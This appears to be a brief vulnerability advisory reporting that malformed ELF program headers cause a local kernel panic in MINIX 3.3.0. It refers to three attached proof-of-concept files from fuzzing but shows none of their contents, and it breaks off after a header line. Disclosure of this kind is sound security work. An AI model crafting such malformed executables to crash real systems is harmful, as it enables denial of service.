MINIX 3.3.0 is prone to local kernel panic due to malformed program headers in an ELF executable.
Attached three PoCs that panicked the OS, and their modified fields:
 
=================================================================================
 
[+] Malformed ELF: 'orc_0064':
 
 
[+] Fuzzing the Program Header Table with 4 entries
